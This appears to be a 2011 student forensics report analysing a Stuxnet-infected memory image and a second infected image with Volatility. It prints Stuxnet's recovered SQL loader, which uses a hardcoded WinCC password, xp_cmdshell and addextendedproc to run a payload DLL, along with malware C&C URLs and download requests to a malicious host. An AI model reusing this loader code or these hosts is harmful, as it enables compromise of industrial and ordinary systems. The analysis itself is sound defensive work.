CSC469: A2

Date: 11/14/11

Katharine Kleemola (g8kleemo, 996041796)
Rohan Chandra (g9chandr, 996274142)
Elias Adum (g8adume, 995748393)

PART I

Artifact #19

"Once running locally on a computer with WinCC installed, Stuxnet will also save a .cab file derived from resource 203 on the computer as GracS\cc_tlg7.sav. The .cab file contains a bootstrap DLL meant to load the main Stuxnet DLL, located in GracS\cc_alg.sav. Next, Stuxnet will then modify a view to reload itself. Stuxnet modifies the MCPVREADVARPERCON view to parse the syscomments.text field for additional SQL code to execute. The SQL code stored in syscomments.text is placed between the markers –CC-SP and --*."
from Symantec's W32.Stuxnet Dossier

In order to find traces of the SQL commands described by Symantec, SysInternals Strings.exe v2.41 was used to retrieve output which could be analyzed within Volatility.

```
$ wine strings.exe -q -o -accepteula stuxnet.vmem > winstuxstrings

$ python vol.py strings -f stuxnet.vmem -s winstuxstrings --output-file=volstrings -S

$ grep -i "\[1928" volstrings | grep -i tlg7 | less
```

(Note: The output is shown below in greater detail as we parse the important information from it)

Volatility's strings function maps the process id and virtual address to each string. Then, using grep, the SQL queries referenced in the Symantec document and their corresponding process IDs were found.

From the output, it is evident that the SQL command used to load the main Stuxnet DLL was being used by one of the rogue lsass processes (with pid 1928).

From the raw output of volatility strings the file described in the Symantec paper, was found.

```
1bfa9188 [1928:9232776] GracS\cc_tlg7.sav
```

Subsequently, the SQL commands seen below checks the existence of the aforementioned .sav file and, if it exists, then it extracts the file and creates a stored procedure which is then executed and deleted, infecting the target computer.

```
1c06a000 [1928:9236480] @fetch_status<>-1) begin
set @t=left(@t,len(@t)-charindex(''\'',reverse(@t)))+''\GraCS\cc_tlg7.sav'';
exec master..xp_fileexist @t,@a out;
if @a=1 begin set @s = ''master..xp_cmdshell ''''extrac32 /y "''+@t+''"
"''+@t+''x"''''''';
exec(@s);
set @t = @t+''x'';
dbcc addextendedproc(sp_payload,@t);
exec master..sp_payload;
```

```
exec master..sp_dropextendedproc sp_payload;
break;
end fetch next from r into @t end close r deallocate r --*' exec (@t)

1c06a9c0 [1928:9238976] view MCPVREADVARPERCON as select
VARIABLEID,VARIABLETYPEID,FORMATFITTING,SCALEID,VARIABLENAME,ADDRESSPARAMETER,PROTOKOL
L,MAXLIMIT,MINLIMIT,STARTVALUE,SUBSTVALUE,VARFLAGS,CONNECTIONID,VARPROPERTY,CYCLETIMEI
D,LASTCHANGE,ASDATASIZE,OSDATASIZE,VARGROUPID,VARXRES,VARMARK,SCALETYPE,SCALEPARAM1,SC
ALEPARAM2,SCALEPARAM3,SCALEPARAM4 from
MCPTVARIABLEDESC,openrowset('SQLOLEDB','Server=.\WinCC;uid=WinCCConnect;pwd=2WSXcder',
       'select 0;
       declare @t varchar(999),@s varchar(999),@a int declare r cursor for select
filename from master..sysdatabases where (name like ''CC%'') open r fetch next from r
into @t while (@@fetch_status<>-1) begin set @t=left(@t,len(@t)-
charindex(''\'',reverse(@t)))+''\GraCS\cc_tlg7.sav'';
       exec master..xp_fileexist @t,@a out;
       if @a=1 begin set @s = ''master..xp_cmdshell ''''extrac32 /y "''+@t+''"
"''+@t+''x"''''''';
       exec(@s);
       set @t=@t+''x'';
       dbcc addextendedproc(sp_run,@t);
       exec master..sp_run;
       exec master..sp_dropextendedproc sp_run;
       break;
       end fetch next from r into @t end close r deallocate r')

1c2ab430 [1928:9241648] view MCPVREADVARPERCON as
select VARIABLEID, VARIABLETYPEID, FORMATFITTING, SCALEID, VARIABLENAME,
ADDRESSPARAMETER, PROTOKOLL, MAXLIMIT, MINLIMIT, STARTVALUE, SUBSTVALUE, VARFLAGS,
CONNECTIONID, VARPROPERTY, CYCLETIMEID, LASTCHANGE, ASDATASIZE, OSDATASIZE, VARGROUPID,
VARXRES, VARMARK, SCALETYPE, SCALEPARAM1, SCALEPARAM2, SCALEPARAM3, SCALEPARAM4
from MCPTVARIABLEDESC,
openrowset('SQLOLEDB','Server=.\WinCC;uid=WinCCConnect;pwd=2WSXcder',
       'select 0;
       use master;
       declare @t varchar(999),@s varchar(999);
       select @t=filename from master..sysdatabases where (name like ''CC%'');
       set @t=left(@t,len(@t)-charindex(''\'',reverse(@t)))+''\GraCS\cc_tlg7.sav'';
       set @s = ''master..xp_cmdshell ''''extrac32 /y "''+@t+''" "''+@t+''x"''''''';
       exec(@s);
       set @t = @t+''x'';
       dbcc addextendedproc(sprun,@t);
       exec master..sprun;
       exec master..sp_dropextendedproc sprun')
```

Since the SQL command is in memory, the rogue lsass process has either used it or is going to use it as part of Stuxnet's infection process.

Artifact # 20

1. This function (export 32) is called from the services.exe process: otherwise, it won't be executed. This function starts the RPC server to handle RPC calls made by Stuxnet's user-mode components and creates a window that drops malicious files onto removable drives.
from Eset's Stuxnet Under the Microscope

Services.exe has PID 668. (as seen using psslist, see appendix: part 1 artifact 20)

2. It (services.exe) registers a window class with the name " AFX64c313" and creates a window corresponding to the class created.
...
The malware communicates to the C&C server through http. A list of URLs is included in the Stuxnet configuration data of Stuxnet:

- www.windowsupdate.com;
- www.msn.com;
- www.mypremierfutbol.com;
- www.todaysfutbol.com

from Eset's Stuxnet Under the Microscope

The output from strings maps process ID 668 to the string: AFX64c313 and the URLs Stuxnet uses to download and execute code.

```
07fcf4c8 [668:14693576] www.windowsupdate.com
07fcf548 [668:14693704] www.msn.com
07fcf5c8 [668:14693832] www.mypremierfutbol.com
07fcf648 [668:14693960] index.php?data
07fcf6c8 [668:14694088] www.todaysfutbol.com
07fcf748 [668:14694216] index.php?data
07fcf816 [668:14694422] :\documents\i\PLC_LEV_23_04_06.zip:\PLC_LEV\PLC_LEV.s7p
07fcfbec [668:14695404] 313
07fcfc30 [668:14695472] INDOWS\
07fcfc40 [668:14695488] \in
07fcfca0 [668:14695584] AFX64c313
07fcfcb4 [668:14695604] t%\in
07fcfd1c [668:14695708] \WINDOWS\TEMP\
07fcfd3a [668:14695738] 32\
07fcfd60 [668:14695776] WS\TEM
07fcfdc4 [668:14695876] [:?
07fcfdf8 [668:14695928] Global\WkssvcRestartEvent
07fcfe48 [668:14696008] dir
07fcfe92 [668:14696082] ys_dir
07fcfed4 [668:14696148] \Documents and Settings\All Users\Application Data\
07fcff50 [668:14696272] ocumen
07fcff6c [668:14696300] etting
07fcff80 [668:14696320] l H
07fcff88 [668:14696328] ers\Ap
07fcffc4 [668:14696388] \WINDOWS\system32\\s7otbxdx.dl
```

3. Stuxnet stores its encrypted configuration data (1860 bytes) in %WINDIR%\inf\mdmcpq3.pnf.
from Eset's Stuxnet Under the Microscope

Output from strings mentions this configuration file, indicating that it has been possibly loaded or was previously loaded.

```
02457796 [kernel:2183493526] \WINDOWS\inf\mdmcpq3.PNF
040cc188 [668:16642440] C:\WINDOWS\inf\mdmcpq3.PNF
041db2fa [kernel:3781972730] mdmcpq3.PNF
041db31c [kernel:3781972764] MDMCPQ3.PNF
049bc818 [kernel:3783219224] \Device\HarddiskVolume1\WINDOWS\inf\mdmcpq3.PNF
04b320f2 [kernel:3420897522] mdmcpq3.PNF
050f25d0 [668:21288400] %SystemRoot%\inf\mdmcpq3.PNF
059a961a [1032:1103386] \DEVICE\HARDDISKVOLUME1\WINDOWS\INF\MDMCPQ3.PNF
08c056a0 [668:13174432] C:\WINDOWS\inf\mdmcpq3.PNF
08c058ec [668:13175020] \WINDOWS\inf\mdmcpq3.PNF
08c05dec [668:13176300] ystemRoot%\inf\mdmcpq3.PNF
0dab1d88 [668:757128] C:\WINDOWS\inf\mdmcpq3.PNF
1181f162 [kernel:3611238754] mdmcpq3.PNF
120c95d0 [1928:9229776] %SystemRoot%\inf\mdmcpq3.PNF
125c9adc [624:14473948] mdmcpq3.PNF
125c9bcc [624:14474188] mdmcpq3.PNF
125c9bf0 [624:14474224] mdmcpq3.PNF
125c9c14 [624:14474260] mdmcpq3.PNF
125c9c38 [624:14474296] mdmcpq3.PNF
15c32a5c [kernel:3776903772] \Device\HarddiskVolume1\WINDOWS\inf\mdmcpq3.PNF
15d760ca [kernel:3776950474] mdmcpq3.PNF\Temp\
170790ba [kernel:3662680250] \WINDOWS\inf\mdmcpq3.PNF
191545d0 [940:14013904] %SystemRoot%\inf\mdmcpq3.PNF
194eebaa [1032:91122602] DEVICE\HARDDISKVOLUME1\WINDOWS\INF\MDMCPQ3.PNF
1d006dba [1032:91135418] DEVICE\HARDDISKVOLUME1\WINDOWS\INF\MDMCPQ3.PNF
1d6ca482 [kernel:3800224898] WINDOWS\inf\mdmcpq3.PNF
1d7459b2 [1032:91130290] DEVICE\HARDDISKVOLUME1\WINDOWS\INF\MDMCPQ3.PNF
```

Corroborating the strings output with the results of filescan on the image, as seen in the MHL artifact 9: file object, evidence of the pnf file seen in the strings output containing the configuration data was found:

```
b2240-06:~/Courses/CSC469/A2/P2$ vol filescan | grep -i 'mdmcpq3.pnf'
Volatile Systems Volatility Framework 2.0
0x021b53b0 0x823eb040   1      0 RW---- '\WINDOWS\\inf\\mdmcpq3.PNF'
```

Hence, we are able to find evidence of the configuration data necessary for the RPC functionality.

PART II

Artifact #1 : Injected code

The malfind plugin for Volatility revealed evidence that the infected image contains hidden or injected code or DLLs within user mode memory whereas the clean image does not.

Running malfind on the clean image (note that vol-clean is an alias for running volatility on the clean image) did not return anything:

```
b2240-08:~$ vol-clean malfind -D out-clean/
Volatile Systems Volatility Framework 2.0
Name                 Pid    Start        End          Tag    Hits   Protect
b2240-08:~$
```

However, running malfind on the infected image (see appendix below for details), showed several processes with page execute and read-write permission, specifically winlogon.exe and explorer.exe, as seen in the below sample taken from the malfind output.

```
b2240-08:~$ vol-inf malfind -D out-inf/
Volatile Systems Volatility Framework 2.0
Name                 Pid    Start        End          Tag    Hits   Protect
WINLOGON.EXE         624    0x0bd60000 0xbd63fff0 VadS        0
       PAGE_EXECUTE_READWRITE
Dumped to: out-inf/WINLOGON.EXE.211a978.0bd60000-0bd63fff.dmp
0x0bd60000   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ................
0x0bd60010   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ................
0x0bd60020   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ................
0x0bd60030   00 00 00 00 26 00 26 00 01 00 00 00 00 00 00 00       ....&.&.........
0x0bd60040   c4 1f 00 00 70 b4 04 01 70 b4 04 01 00 00 00 00       ....p...p.......
0x0bd60050   51 00 bd c2 5f 01 94 17 e0 b4 04 01 ca b4 04 01       Q..._...........
0x0bd60060   cc 13 02 00 00 00 00 00 00 00 00 00 00 00 00 00       ................
0x0bd60070   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ................
```

It is notable that the memory at the base does not start with the MZ header usually associated with a portable executable, but the MZ header is only required in older versions of Windows and does not negate the possibility of a PE. Additionally, the fact that the page permissions are execute and read-write is an abnormality by itself.

Next an examination of the vad tags for Winlogon was conducted:

In this specific sample taken from vadinfo (see appendix part II artifact 1 for full output)

```
Pid:   4
VAD node @823c4200 Start 00010000 End 00033fff Tag Vad
Flags:
Commit Charge: 0 Protection: 4
```

```
ControlArea @823c1ac0 Segment e100f690
Dereference list: Flink 00000000, Blink 00000000
NumberOfSectionReferences:       1 NumberOfPfnReferences:          0
NumberOfMappedViews:            25 NumberOfUserReferences:       25
WaitingForDeletion Event:  00000000
Flags: Commit, HadUserReference
FileObject: none
First prototype PTE: e100f6d0 Last contiguous PTE: e100f7e8
Flags2: Inherit
File offset: 00000000
```

For explorer.exe:

```
VAD node @81d6b298 Start 7ffde000 End 7ffdefff Tag Vadl
Flags: MemCommit, NoChange, PrivateMemory
Commit Charge: 1 Protection: 4
ControlArea @81d6b2b0 Segment 81d6b2b0
Dereference list: Flink 81d6b2b0, Blink 00000000
NumberOfSectionReferences:  301989888 NumberOfPfnReferences:  2147344384
NumberOfMappedViews:       2147348479 NumberOfUserReferences:          0
WaitingForDeletion Event:  0007c900
Flags: Accessed, DeleteOnClose, GlobalMemory, ImageMappedInSystemSpace,
NoModifiedWriting
FileObject: none
First prototype PTE: 81d6b2b0 Last contiguous PTE: 00000000
Flags2: LongVad, OneSecured
File offset: 00000000
```

It is evident that the memory is not backed by a file object, as would be the case if it was loaded from disk via load library. Note that the command Vadinfo revealed several VAD tags that indicated they were not loaded from disk for both Winlogon.exe and Explorer.exe.

As explorer.exe was detected by malfind and as it had irregular vad tags, a further analysis of its threads was performed and the following irregular thread was found (see appendix part II artifact 1 for full output):

vol-inf threads -p 1956

```
ETHREAD: 0x02503c18 Pid: 1956 Tid: 1116
Tags: ScannerOnly
Created: 2011-04-10 21:29:20
Exited: 2011-04-10 21:29:21
Owning Process: 0x8227bb28 'EXPLORER.EXE'
Attached Process: 0x410046 ''
State: Terminated
BasePriority: 0x0
Priority: 0x12
TEB: 0x00000000
StartAddress: 0x7c8106e9
ServiceTable: 0x80552fa0
  [0] 0x80501b8c
```

```
  [1] -
  [2] -
  [3] -
Win32Thread: 0x00000000
CrossThreadFlags: PS_CROSS_THREAD_FLAGS_TERMINATED
```

As shown in red and underlined, the thread is attached to an unnamed process outside of the address space of explorer.exe, but it is not the case in the clean image.

Artifact #2: HTTP requests and downloaded files

Volatility's strings utility was used to search for keywords that would provide evidence of any sort of network connections such as "www.", ".com", ".ru", "host", etc. Using this information, it was determined that a suspicious looking Russian website was accessed: mialepromo.ru

Searching through the strings output showed evidence of HTTP requests sent to mialepromo.ru that were used to download files onto the local machine.

```
02004036 [kernel:2178957366] GET /7Pe8ORoIxs/load.php?file=grabbers HTTP/1.1
02004067 [kernel:2178957415] User-Agent: Our_Agent
0200407e [kernel:2178957438] Host: mialepromo.ru
```

A Microsoft Word document was later downloaded:

```
0200f036 [kernel:2179002422] GET /7Pe8ORoIxs/document.doc HTTP/1.1
0200f05d [kernel:2179002461] Accept: */*
0200f06a [kernel:2179002474] Accept-Encoding: gzip, deflate
0200f08a [kernel:2179002506] User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; SV1)
0200f0cf [kernel:2179002575] Host: mialepromo.ru
0200f0e4 [kernel:2179002596] Connection: Keep-Alive
```

This initial word document was then followed by the downloading of various other files:

```
02019836 [kernel:2179045430] GET /7Pe8ORoIxs/load.php?file=0 HTTP/1.1
02019860 [kernel:2179045472] Accept: */*
0201986d [kernel:2179045485] Accept-Encoding: gzip, deflate
0201988d [kernel:2179045517] User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; SV1)
020198d2 [kernel:2179045586] Host: mialepromo.ru
020198e7 [kernel:2179045607] Connection: Keep-Alive

0201c036 [kernel:2179055670] GET /7Pe8ORoIxs/load.php?file=1 HTTP/1.1
0201c060 [kernel:2179055712] Accept: */*
0201c06d [kernel:2179055725] Accept-Encoding: gzip, deflate
0201c08d [kernel:2179055757] User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; SV1)
0201c0d2 [kernel:2179055826] Host: mialepromo.ru
0201c0e7 [kernel:2179055847] Connection: Keep-Alive

02033836 [kernel:2179151926] GET /7Pe8ORoIxs/load.php?file=uploader HTTP/1.1
02033867 [kernel:2179151975] User-Agent: Our_Agent
0203387e [kernel:2179151998] Host: mialepromo.ru
```

And further evidence provided by strings showed that the file “document.doc” was later accessed by Wordpad (PID 320).

```
12605ae0 [320:2644704] WORDPAD
12605af8 [320:2644728] WordPad
12605b10 [320:2644752] WORDPAD.HLP
12605b40 [320:2644800] WordPad
12605b50 [320:2644816] Document
12605b62 [320:2644834] WordPad Document
12605b84 [320:2644868] Word for Windows 6.0 (*.doc)
12605bbe [320:2644926] .DOC
12605bc8 [320:2644936] WordPad.Document.1
12605bee [320:2644974] WordPad Document
12605c44 [320:2645060] T](
12605c50 [320:2645072] An unexpected error occurred while reading C:\D
ocuments and Settings\unclebob\Desktop\document.doc
```

Further analysis showed svchost.exe processes (with PID 1056) setting up a remote procedure call to the Russian website.

```
10e72064 [1056:655460] mialepromo.ru
10e7214c [1056:655692] alrpc
10e72160 [1056:655712] ncalrpc
10e72178 [1056:655736] localhost
10e72288 [1056:656008] ncacn_np
12581180 [1056:729472] mialepromo.ru
125811e8 [1056:729576] keysvc
1258127c [1056:729724] dhcpcsvc
125812d0 [1056:729808] wzcsvc
12581320 [1056:729888] OLEDDB3DB3EAE6843F2AA79C3BFE987
12581388 [1056:729992] AudioSrv
125813f8 [1056:730104] dhcpcsvc
12581418 [1056:730136] AudioSrv
12581438 [1056:730168] senssvc
1258163b [1056:730683] q$Yg
125817a4 [1056:731044] acn_np
125817ec [1056:731116] acn_np:[\\PIPE\\lsarpc]
1258182c [1056:731180] crt4.dll
12581ccc [1056:732364] PC Control\senssvc
12581de0 [1056:732640] trkwks
12581e74 [1056:732788] senssvc
12581ec4 [1056:732868] trkwks
12581f14 [1056:732948] srrpc
12581f64 [1056:733028] SECLOGON
```

Then examining the domain information of the suspicious looking Russian website:

```
b2240-10:~$ whois mialepromo.ru
% By submitting a query to RIPN's Whois Service
% you agree to abide by the following terms of use:
% http://www.ripn.net/about/servpol.html#3.2 (in Russian)
% http://www.ripn.net/about/en/servpol.html#3.2 (in English).
```

```
domain:       MIALEPROMO.RU
nserver:      ns1.mialepromo.ru. 91.199.75.14
nserver:      ns2.mialepromo.ru. 94.63.246.250
state:        REGISTERED, DELEGATED, VERIFIED
person:       Private Person
e-mail:       lakki@yandex.ru
registrar:  NAUNET-REG-RIPN
created:      2011.03.13
paid-till:  2012.03.13
source:       TCI

Last updated on 2011.11.10 04:28:42 MSK
```

This network investigation is continued in part 3.

Infected process svchost.exe with PID 1056. This infected process has 6 threads running as opposed to the clean one that has 4. (verified with pstree)
“sockscan” and “sockets” shows that PID 1056 opens a UDP connection on port 1031.
“connscan” shows PID 1204 (not listed in pstree/psscan/pslist) has a connection opened on port 1044 with IP 91.199.75.77 on port 80.
PID 1204 is the parent process of wordpad (PID 320). Does it matter?

Artifact 3:

Having found evidence of network based artifacts in the previous artifact, further irregularities were discovered by using connscan (note that the clean image does not return any information when running connscan):

```
b2240-06:~/Courses/CSC469/A2/P2$ vol-inf connscan
Volatile Systems Volatility Framework 2.0
 Offset      Local Address             Remote Address            Pid
---------- ------------------------ ------------------------ ------
0x02350cd8 192.168.1.32:1044     91.199.75.77:80           1204
0x024b8838 192.168.1.32:1047     192.168.1.150:139                4
```

As seen in artifact 2, an RPC session was established with the ip 91.199.75.14. Connscan revealed that there is an open connection to 91.199.75.77, which likely exists within the same network. However, PID 1024 could not be located using pstree, psscan or pslist and it was possible that it had been created to facilitate the RPC session and infection in general, then exited or was in some way hidden from analysis. Additionally, PID 1024 spawned the wordpad (PID 320) process, which opened the malformed doc file, beginning the infection.

From this discovery, summary analysis on open sockets showed two new sockets opened after the infection (see appendix part 2: artifact 3 for full tables).

These two ports were:

```
b2240-06:~/Courses/CSC469/A2/P2$ vol-inf sockscan
Volatile Systems Volatility Framework 2.0
 Offset      PID    Port   Proto               Address      Create Time
0×02283978 1008       1027 17      UDP 127.0.0.1     2011-04-10 21:05:33
0×0234a620 1056       1031 17      UDP 0.0.0.0         2011-04-10 21:08:37
```

Process 1056, one of the SVCHOST.exe processes, was also seen to establish an RPC session in the previous artifact, suggesting that it is either infected or has been mislead by an infected trusted process.

Appendix PART I:

Artifact 20:

note that vol is an alias used to run volatility on the stuxnet image

redwolf:~/Desktop/csc469/a2$ vol pslist

```
Volatile Systems Volatility Framework 2.0
 Offset(V)  Name                PID    PPID   Thds   Hnds   Time
---------- ------------------- ------ ------ ------ ------ -------------------
0x823c8830 System                4      0     59    403 1970-01-01 00:00:00
0x820df020 smss.exe            376      4      3     19 2010-10-29 17:08:53
0x821a2da0 csrss.exe           600    376     11    395 2010-10-29 17:08:54
0x81da5650 winlogon.exe        624    376     19    570 2010-10-29 17:08:54
0x82073020 services.exe        668    624     21    431 2010-10-29 17:08:54
0x81e70020 lsass.exe           680    624     19    342 2010-10-29 17:08:54
0x823315d8 vmacthlp.exe        844    668      1     25 2010-10-29 17:08:55
0x81db8da0 svchost.exe         856    668     17    193 2010-10-29 17:08:55
0x81e61da0 svchost.exe         940    668     13    312 2010-10-29 17:08:55
0x822843e8 svchost.exe        1032    668     61   1169 2010-10-29 17:08:55
0x81e18b28 svchost.exe        1080    668      5     80 2010-10-29 17:08:55
0x81ff7020 svchost.exe        1200    668     14    197 2010-10-29 17:08:55
0x81fee8b0 spoolsv.exe        1412    668     10    118 2010-10-29 17:08:56
0x81e0eda0 jqs.exe            1580    668      5    148 2010-10-29 17:09:05
0x81fe52d0 vmtoolsd.exe       1664    668      5    284 2010-10-29 17:09:05
0x821a0568 VMUpgradeHelper    1816    668      3     96 2010-10-29 17:09:08
0x8205ada0 alg.exe             188    668      6    107 2010-10-29 17:09:09
0x820ec7e8 explorer.exe       1196   1728     16    582 2010-10-29 17:11:49
0x820ecc10 wscntfy.exe        2040   1032      1     28 2010-10-29 17:11:49
0x81e86978 TSVNCache.exe       324   1196      7     54 2010-10-29 17:11:49
0x81fc5da0 VMwareTray.exe     1912   1196      1     50 2010-10-29 17:11:50
0x81e6b660 VMwareUser.exe     1356   1196      9    251 2010-10-29 17:11:50
0x8210d478 jusched.exe        1712   1196      1     26 2010-10-29 17:11:50
0x82279998 imapi.exe           756    668      4    116 2010-10-29 17:11:54
0x822b9a10 wuauclt.exe         976   1032      3    133 2010-10-29 17:12:03
0x81c543a0 Procmon.exe         660   1196     13    189 2011-06-03 04:25:56
0x81fa5390 wmiprvse.exe       1872    856      5    134 2011-06-03 04:25:58
0x81c498c8 lsass.exe           868    668      2     23 2011-06-03 04:26:55
0x81c47c00 lsass.exe          1928    668      4     65 2011-06-03 04:26:55
0x81c0cda0 cmd.exe             968   1664      0 ------ 2011-06-03 04:31:35
0x81f14938 ipconfig.exe        304    968      0 ------ 2011-06-03 04:31:35
```

Appendix PART II:

Artifact 1:
(note vol-inf is an alias for running volatility on the infected image)

```
b2240-08:~$ vol-inf malfind -D out-inf/
Volatile Systems Volatility Framework 2.0
Name                 Pid    Start        End          Tag    Hits   Protect
WINLOGON.EXE         624    0x0bd60000 0xbd63fff0 VadS       0
      PAGE_EXECUTE_READWRITE
Dumped to: out-inf/WINLOGON.EXE.211a978.0bd60000-0bd63fff.dmp
0x0bd60000   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ................
0x0bd60010   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ................
0x0bd60020   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ................
0x0bd60030   00 00 00 00 26 00 26 00 01 00 00 00 00 00 00 00       ....&.&.........
0x0bd60040   c4 1f 00 00 70 b4 04 01 70 b4 04 01 00 00 00 00       ....p...p.......
0x0bd60050   51 00 bd c2 5f 01 94 17 e0 b4 04 01 ca b4 04 01       Q..._...........
0x0bd60060   cc 13 02 00 00 00 00 00 00 00 00 00 00 00 00 00       ................
0x0bd60070   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ................

Disassembly:
0bd60000: 0000                           ADD [EAX], AL
0bd60002: 0000                           ADD [EAX], AL
0bd60004: 0000                           ADD [EAX], AL
0bd60006: 0000                           ADD [EAX], AL
0bd60008: 0000                           ADD [EAX], AL
0bd6000a: 0000                           ADD [EAX], AL
0bd6000c: 0000                           ADD [EAX], AL
0bd6000e: 0000                           ADD [EAX], AL
0bd60010: 0000                           ADD [EAX], AL
0bd60012: 0000                           ADD [EAX], AL


WINLOGON.EXE         624    0x34ae0000 0x34ae3fff VadS       0
      PAGE_EXECUTE_READWRITE
Dumped to: out-inf/WINLOGON.EXE.211a978.34ae0000-34ae3fff.dmp
0x34ae0000   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ................
0x34ae0010   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ................
0x34ae0020   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ................
0x34ae0030   00 00 00 00 2c 00 2c 00 01 00 00 00 00 00 00 00       ....,.,.........
0x34ae0040   00 00 00 00 c0 b0 04 01 c0 b0 04 01 00 00 00 00       ................
0x34ae0050   45 4e b7 60 bf b3 e6 da 70 b1 04 01 5a b1 04 01       EN.`....p...Z...
0x34ae0060   cc 13 02 00 00 00 00 00 00 00 00 00 00 00 00 00       ................
0x34ae0070   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ................

Disassembly:
34ae0000: 0000                           ADD [EAX], AL
34ae0002: 0000                           ADD [EAX], AL
34ae0004: 0000                           ADD [EAX], AL
34ae0006: 0000                           ADD [EAX], AL
34ae0008: 0000                           ADD [EAX], AL
34ae000a: 0000                           ADD [EAX], AL
34ae000c: 0000                           ADD [EAX], AL
34ae000e: 0000                           ADD [EAX], AL
```

```
34ae0010: 0000                          ADD [EAX], AL
34ae0012: 0000                          ADD [EAX], AL


WINLOGON.EXE        624    0x2cab0000 0x2cab3fff VadS       0
      PAGE_EXECUTE_READWRITE
Dumped to: out-inf/WINLOGON.EXE.211a978.2cab0000-2cab3fff.dmp
0x2cab0000   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ................
0x2cab0010   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ................
0x2cab0020   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ................
0x2cab0030   00 00 00 00 24 00 24 00 01 00 00 00 00 00 00 00       ....$.$.........
0x2cab0040   00 00 00 00 18 60 04 01 18 60 04 01 00 00 00 00       .....`...`......
0x2cab0050   0b 2f 1f 10 75 d1 40 88 58 60 04 01 42 60 04 01       ./..u.@.X`..B`..
0x2cab0060   cc 13 02 00 01 00 00 00 00 00 00 00 00 00 00 00       ................
0x2cab0070   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ................

Disassembly:
2cab0000: 0000                          ADD [EAX], AL
2cab0002: 0000                          ADD [EAX], AL
2cab0004: 0000                          ADD [EAX], AL
2cab0006: 0000                          ADD [EAX], AL
2cab0008: 0000                          ADD [EAX], AL
2cab000a: 0000                          ADD [EAX], AL
2cab000c: 0000                          ADD [EAX], AL
2cab000e: 0000                          ADD [EAX], AL
2cab0010: 0000                          ADD [EAX], AL
2cab0012: 0000                          ADD [EAX], AL


WINLOGON.EXE        624    0x164b0000 0x164b3fff VadS       0
      PAGE_EXECUTE_READWRITE
Dumped to: out-inf/WINLOGON.EXE.211a978.164b0000-164b3fff.dmp
0x164b0000   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ................
0x164b0010   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ................
0x164b0020   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ................
0x164b0030   00 00 00 00 28 00 28 00 01 00 00 00 00 00 00 00       ....(.(.........
0x164b0040   c4 1f 00 00 e0 28 04 01 e0 28 04 01 00 00 00 00       .....(...(......
0x164b0050   d5 54 2d 56 df 17 5e 2c 68 29 04 01 52 29 04 01       .T-V..^,h)..R)..
0x164b0060   cc 13 02 00 03 00 00 00 00 00 00 00 00 00 00 00       ................
0x164b0070   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ................

Disassembly:
164b0000: 0000                          ADD [EAX], AL
164b0002: 0000                          ADD [EAX], AL
164b0004: 0000                          ADD [EAX], AL
164b0006: 0000                          ADD [EAX], AL
164b0008: 0000                          ADD [EAX], AL
164b000a: 0000                          ADD [EAX], AL
164b000c: 0000                          ADD [EAX], AL
164b000e: 0000                          ADD [EAX], AL
164b0010: 0000                          ADD [EAX], AL
164b0012: 0000                          ADD [EAX], AL
```

```
WINLOGON.EXE        624    0x382b0000 0x382b3fff VadS       0
      PAGE_EXECUTE_READWRITE
Dumped to: out-inf/WINLOGON.EXE.211a978.382b0000-382b3fff.dmp
0x382b0000   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ................
0x382b0010   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ................
0x382b0020   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ................
0x382b0030   00 00 00 00 33 00 33 00 01 00 00 00 00 00 00 00       ....3.3.........
0x382b0040   c4 1f 00 00 98 22 04 01 98 22 04 01 00 00 00 00       .....".."......
0x382b0050   b1 4e 19 dc 99 75 1a c8 f0 22 04 01 da 22 04 01       .N...u..."..."..
0x382b0060   cc 13 02 00 04 00 00 00 00 00 00 00 00 00 00 00       ................
0x382b0070   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ................

Disassembly:
382b0000: 0000                          ADD [EAX], AL
382b0002: 0000                          ADD [EAX], AL
382b0004: 0000                          ADD [EAX], AL
382b0006: 0000                          ADD [EAX], AL
382b0008: 0000                          ADD [EAX], AL
382b000a: 0000                          ADD [EAX], AL
382b000c: 0000                          ADD [EAX], AL
382b000e: 0000                          ADD [EAX], AL
382b0010: 0000                          ADD [EAX], AL
382b0012: 0000                          ADD [EAX], AL


WINLOGON.EXE        624    0x45f10000 0x45f13fff VadS       0
      PAGE_EXECUTE_READWRITE
Dumped to: out-inf/WINLOGON.EXE.211a978.45f10000-45f13fff.dmp
0x45f10000   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ................
0x45f10010   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ................
0x45f10020   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ................
0x45f10030   00 00 00 00 33 00 33 00 01 00 00 00 00 00 00 00       ....3.3.........
0x45f10040   c4 1f 00 00 98 22 04 01 98 22 04 01 00 00 00 00       .....".."......
0x45f10050   b1 4e 19 dc 99 75 1a c8 f0 22 04 01 da 22 04 01       .N...u..."..."..
0x45f10060   cc 13 02 00 05 00 00 00 00 00 00 00 00 00 00 00       ................
0x45f10070   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00       ................

Disassembly:
45f10000: 0000                          ADD [EAX], AL
